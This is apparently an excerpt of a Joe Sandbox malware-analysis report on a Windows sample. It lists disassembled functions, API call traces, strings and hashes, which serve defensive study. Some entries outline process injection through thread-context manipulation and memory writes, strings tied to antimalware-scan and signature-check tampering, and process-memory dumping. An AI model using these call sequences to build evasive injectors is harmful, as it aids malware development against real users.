Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: f17adf9d831554bf7fb016b5a03fdafd8ebff0cb81ec520005c1ebd40a8bb3bf
Instruction ID: 9bd3049141c05e93322ac072c557f140159013e8f964b6d62856bb303968b262
Opcode Fuzzy Hash: f17adf9d831554bf7fb016b5a03fdafd8ebff0cb81ec520005c1ebd40a8bb3bf
Instruction Fuzzy Hash: 3931B2BC9807709FFB44DFB8E8A9A2B37A9EF157017104965A401CF289E77CD4108F92

Function 02878BA8 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654threadnativeinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0287881C: LoadLibraryA.KERNEL32(00000000,00000000,02878903), ref: 02878850
Part of subcall function 0287881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02878903), ref: 02878860
Part of subcall function 0287881C: GetProcAddress.KERNEL32(743E0000,00000000), ref: 02878879
Part of subcall function 0287881C: FreeLibrary.KERNEL32(743E0000,00000000,028C2388,Function_000065D8,00000004,028C2398,028C2388,000186A3,00000040,028C239C,743E0000,00000000,00000000,00000000,00000000,02878903), ref: 028788E3

GetThreadContext.KERNEL32(00000000,028C2420,ScanString,028C23A4,0287A774,UacInitialize,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,UacInitialize,028C23A4), ref: 0287943A

Part of subcall function 02877CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02877D6C

SetThreadContext.KERNEL32(00000000,028C2420,ScanBuffer,028C23A4,0287A774,ScanString,028C23A4,0287A774,Initialize,028C23A4,0287A774,00000000,-00000008,028C24F8,00000004,028C24FC), ref: 0287A14F
NtResumeThread.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,028C2420,ScanBuffer,028C23A4,0287A774,ScanString,028C23A4,0287A774,Initialize,028C23A4,0287A774,00000000,-00000008,028C24F8), ref: 0287A15C

Part of subcall function 02878798: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028C23A4,0287A3BF,ScanString,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,Initialize,028C23A4,0287A774,UacScan), ref: 028787AC
Part of subcall function 02878798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028787C6
Part of subcall function 02878798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028C23A4,0287A3BF,ScanString,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,Initialize), ref: 02878802

Strings

MiniDumpWriteDump, xrefs: 0287A54C
BCryptVerifySignature, xrefs: 0287A3AB
I_QueryTagInformation, xrefs: 0287A538
bcrypt, xrefs: 0287A3B0, 0287A3C4, 0287A3D8
MiniDumpReadDumpStream, xrefs: 0287A560
advapi32, xrefs: 0287A53D
sppc, xrefs: 028791AE
ScanBuffer, xrefs: 02878D04, 02878D8C, 02879127, 0287923C, 028792D9, 02879612, 02879799, 0287992C, 02879B11, 02879C26, 02879DE4, 02879F54, 0287A0C7, 0287A2BB, 0287A4D9, 0287A61F
ntdll, xrefs: 0287A45D, 0287A471, 0287A529, 0287A6CC, 0287A6E0
NtSetSecurityObject, xrefs: 0287A6C7
NtOpenObjectAuditAlarm, xrefs: 0287A46C, 0287A524
OpenSession, xrefs: 02878BE1, 02879004, 028790B6, 0287A487, 0287A5CD
UacInitialize, xrefs: 02878E6A, 028791CB, 0287934A, 0287944E, 0287984A, 028799BE, 0287A168
NtReadVirtualMemory, xrefs: 0287A458
ScanString, xrefs: 02878C3A, 02878DE5, 02878F93, 028793BB, 028795A1, 02879728, 02879BB5, 02879D73, 02879EE3, 0287A056, 0287A341, 0287A3EE
Initialize, xrefs: 02878F22, 02879530, 028796B7, 02879AA0, 02879D02, 02879E72, 02879FE5, 0287A24A, 0287A57B
BCryptQueryProviderRegistration, xrefs: 0287A3BF
dbgcore, xrefs: 0287A551, 0287A565
BCryptRegisterProvider, xrefs: 0287A3D3
UacScan, xrefs: 02878CAB, 02878EC3, 028794BF, 028798BB, 02879A2F, 0287A1D9, 0287A671
NtOpenProcess, xrefs: 0287A6DB
SLGetLicenseInformation, xrefs: 02879197

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Library$Thread$AddressContextFreeLoadProc$HandleMemoryModuleResumeVirtualWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 4175202198-51457883
Opcode ID: df3ff72c8e11a0e9d88df2487c249c313e9a919c563ee4fff9bfc3cd9c72d782
Instruction ID: 9202efb12ccdd574ff916fafa7bb554662b5f7b19ac5e771df053f339d83fcf0
Opcode Fuzzy Hash: df3ff72c8e11a0e9d88df2487c249c313e9a919c563ee4fff9bfc3cd9c72d782
Instruction Fuzzy Hash: 0FE23E3CA501189FDB25EB68CC95BEE73BAAF84310F1081A1E045EB255DE74EE858F52

Function 02878BA6 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0287881C: LoadLibraryA.KERNEL32(00000000,00000000,02878903), ref: 02878850
Part of subcall function 0287881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02878903), ref: 02878860
Part of subcall function 0287881C: GetProcAddress.KERNEL32(743E0000,00000000), ref: 02878879
Part of subcall function 0287881C: FreeLibrary.KERNEL32(743E0000,00000000,028C2388,Function_000065D8,00000004,028C2398,028C2388,000186A3,00000040,028C239C,743E0000,00000000,00000000,00000000,00000000,02878903), ref: 028788E3

GetThreadContext.KERNEL32(00000000,028C2420,ScanString,028C23A4,0287A774,UacInitialize,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,UacInitialize,028C23A4), ref: 0287943A

Strings

MiniDumpWriteDump, xrefs: 0287A54C
BCryptVerifySignature, xrefs: 0287A3AB
I_QueryTagInformation, xrefs: 0287A538
bcrypt, xrefs: 0287A3B0, 0287A3C4, 0287A3D8
MiniDumpReadDumpStream, xrefs: 0287A560
advapi32, xrefs: 0287A53D
sppc, xrefs: 028791AE
ScanBuffer, xrefs: 02878D04, 02878D8C, 02879127, 0287923C, 028792D9, 02879612, 02879799, 0287992C, 02879B11, 02879C26, 02879DE4, 02879F54, 0287A0C7, 0287A2BB, 0287A4D9, 0287A61F
ntdll, xrefs: 0287A45D, 0287A471, 0287A529, 0287A6CC, 0287A6E0
NtSetSecurityObject, xrefs: 0287A6C7
NtOpenObjectAuditAlarm, xrefs: 0287A46C, 0287A524
OpenSession, xrefs: 02878BE1, 02879004, 028790B6, 0287A487, 0287A5CD
UacInitialize, xrefs: 02878E6A, 028791CB, 0287934A, 0287944E, 0287A168
NtReadVirtualMemory, xrefs: 0287A458
ScanString, xrefs: 02878C3A, 02878DE5, 02878F93, 028793BB, 028795A1, 02879728, 02879BB5, 02879D73, 02879EE3, 0287A056, 0287A341, 0287A3EE
Initialize, xrefs: 02878F22, 02879530, 028796B7, 02879AA0, 02879D02, 02879E72, 02879FE5, 0287A24A, 0287A57B
BCryptQueryProviderRegistration, xrefs: 0287A3BF
dbgcore, xrefs: 0287A551, 0287A565
BCryptRegisterProvider, xrefs: 0287A3D3
UacScan, xrefs: 02878CAB, 02878EC3, 028794BF, 028798BB, 02879A2F, 0287A1D9, 0287A671
NtOpenProcess, xrefs: 0287A6DB
SLGetLicenseInformation, xrefs: 02879197

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Library$AddressContextFreeHandleLoadModuleProcThread
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 1116111917-51457883
Opcode ID: 8529730dfcc31987035347ab1229c8fc36d75c5b097fd47be76f4c0024b66ae1
Instruction ID: 2d6f3ad2a060dad20144b0be3493d438c817f76b49d59adeead535d842c80e94
Opcode Fuzzy Hash: 8529730dfcc31987035347ab1229c8fc36d75c5b097fd47be76f4c0024b66ae1
Instruction Fuzzy Hash: 63E23D3CA501189FDB25EB68CC95BEE73BAAF84310F1081A1E045EB355DE74EE858F52

Function 028658B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02866BC8,02860000,0288E790), ref: 028658D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 028658E8
lstrcpynA.KERNEL32(?,?,?), ref: 02865918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02866BC8,02860000,0288E790), ref: 0286597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02866BC8,02860000,0288E790), ref: 028659B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02866BC8,02860000,0288E790), ref: 028659C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02866BC8,02860000,0288E790), ref: 028659D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02866BC8,02860000,0288E790), ref: 028659E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02866BC8,02860000), ref: 02865A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02866BC8), ref: 02865A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02865A45

Strings

\, xrefs: 028659F5
GetLongPathNameA, xrefs: 028658DF
kernel32.dll, xrefs: 028658CC

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: a74d9b6d3cb35030f66892aa297ecaaf577aeea3d9cb74ebdeb3b1dac0b1f381
Instruction ID: 3a5c0803a20f3b0a78a4f5d03dc92d3672ba39427bedf774a765dec316ad0210
Opcode Fuzzy Hash: a74d9b6d3cb35030f66892aa297ecaaf577aeea3d9cb74ebdeb3b1dac0b1f381
Instruction Fuzzy Hash: 75416E7DD00259AFDB10DAE8CC8CAEEB3BEAF08301F4445A5A148E7341D7349B548F50

Function 02865B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02865B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02865BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02865BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02865BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02865C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02865C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02865C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02865C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02865C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02865C97

Strings

Software\Borland\Locales, xrefs: 02865AA8, 02865AC6
Software\Borland\Delphi\Locales, xrefs: 02865AE4

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction ID: 9351c92333038c36fb9c1b53cdbc90f0532b7047c0aa3a72c670d830508f0fde
Opcode Fuzzy Hash: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
Instruction Fuzzy Hash: C131757DE4021D6AFB25D6B89C4EBFFB7AD5B04380F4401E19648E6281DB789A448F51

Function 02878798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,028C23A4,0287A3BF,ScanString,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,Initialize,028C23A4,0287A774,UacScan), ref: 028787AC
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028787C6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,028C23A4,0287A3BF,ScanString,028C23A4,0287A774,ScanBuffer,028C23A4,0287A774,Initialize), ref: 02878802

Part of subcall function 02877CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02877D6C

Strings

BCryptVerifySignature, xrefs: 028787BF
bcrypt, xrefs: 028787AB

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: b5f40348a896ca05b799b1cae3ad17d9980ce2c704cdc2bf7631640031255953
Instruction ID: 072bd2826333d915bcc36f38244bd29967f3a6f47c1d2304e08862f68c93ed13
Opcode Fuzzy Hash: b5f40348a896ca05b799b1cae3ad17d9980ce2c704cdc2bf7631640031255953
Instruction Fuzzy Hash: FBF0C87DA803245EE310BA7DA849F26379CB786314F28092EBD08C71E4DBB984108B50

Function 0287DF00 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

Part of subcall function 02864ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02864EDA

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287DFD2), ref: 0287DF3F
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0287DF79
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0287DFA6
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0287DFAF

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: 63f284f1fccb4ed2b20c6f9981f55e5a8b6b99eb1eb23c8acbd37150283a865b
Instruction ID: 33b4e24841ffea2dfca741c3a4b5bca350db03b643fb46d6915a52aad0e93e7d
Opcode Fuzzy Hash: 63f284f1fccb4ed2b20c6f9981f55e5a8b6b99eb1eb23c8acbd37150283a865b
Instruction Fuzzy Hash: 8221C179A40309BAEB21EAE4CD46FAEB7BDDF04B10F504561B600F75D0D7B4AE048B56

Function 0287DE24 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,?), ref: 0287DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287DEF2), ref: 0287DEB6
NtDeleteFile.NTDLL(?), ref: 0287DED5

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 325337a237ec81c7330dabc088c3f02ae3ce2803b25c134d4e13a4cdb927654d
Instruction ID: 2a0cd64523128d557ee4d5abac0aaa9aeaff4190bde222a95bf6ab57d56dfc71
Opcode Fuzzy Hash: 325337a237ec81c7330dabc088c3f02ae3ce2803b25c134d4e13a4cdb927654d
Instruction Fuzzy Hash: 1801677F9443486EEB06E7A48D81BDD77BDAF64704F5000D2E200F6191DB74EB048B22

Function 0287DE78 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02864ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02864EDA

RtlInitUnicodeString.NTDLL(?,?), ref: 0287DEA0
RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0287DEF2), ref: 0287DEB6
NtDeleteFile.NTDLL(?), ref: 0287DED5

Part of subcall function 02864C0C: SysFreeString.OLEAUT32(0287ED84), ref: 02864C1A

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
String ID:
API String ID: 1694942484-0
Opcode ID: e78fee3db8c156953e6118557ccb4842c683d42a43bceae3164544563e8b925a
Instruction ID: 9b5b9c735fac8157cdd4524cfc859c5f2f3acbb1766d5e7b427223e675fdbbc7
Opcode Fuzzy Hash: e78fee3db8c156953e6118557ccb4842c683d42a43bceae3164544563e8b925a
Instruction Fuzzy Hash: 1201F47EA40208BAEB11EBE4CD41FDEB3BDDF58700F5044B1E605F2580EB74AB048A65

Function 02867F54 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 02867F75

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction ID: e05d4d7ba06d01dcbf0547fa2e3d46c71733ffbb1c45f09259bc8b7cc85c1231
Opcode Fuzzy Hash: 0fbec54a0c02fd547ee90df4e96e63df58f4455ae2e88ae87e717fe42b60fd3b
Instruction Fuzzy Hash: E21100B5A00209AF9B04CF99C981DBFF7F9EFC8704B14C569A508EB254E6319A018B90

Function 0286A744 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0286A762

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction ID: 71c648867dab5cf1d4c948ab86cd5aef37f15997a8ae272273482616e821a1fe
Opcode Fuzzy Hash: 91039f575b2d446255c84316eb4a3d27fa0998d30cefffcfb9a5ad718a7383d1
Instruction Fuzzy Hash: 64E0D83D70021827D325A56C9C8C9FAB35D975C710F00417EBD49D7341FEA09E404EE9

Function 0286B70C Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,0288D106,00000000,0288D11E), ref: 0286B71A

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B9000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2860000_UTstKgkJNY.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: b81d80259d0433e05af67089162d111909e9ff3dc812430747256be187992e26
Instruction ID: ed6f9c994835273618b8f5690189a0e55a12bcb249a9ba1b9ac118449a9b06c9
Opcode Fuzzy Hash: b81d80259d0433e05af67089162d111909e9ff3dc812430747256be187992e26
Instruction Fuzzy Hash: AEF0A47C9443019FD350EF28D944A2577E9FB49718F008D29F699C7380E73894148F52

Function 0286A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0286BDF2,00000000,0286C00B,?,?,00000000,00000000), ref: 0286A7A3

Memory Dump Source

Source File: 00000001.00000002.2513248128.0000000002861000.00000020.00001000.00020000.00000000.sdmp, Offset: 02860000, based on PE: true

Associated: 00000001.00000002.2513234269.0000000002860000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513297669.000000000288E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513359092.00000000028C2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2513395714.00000000029B7000.00000004.00001000.00020000.00000000.sdmpDownload File
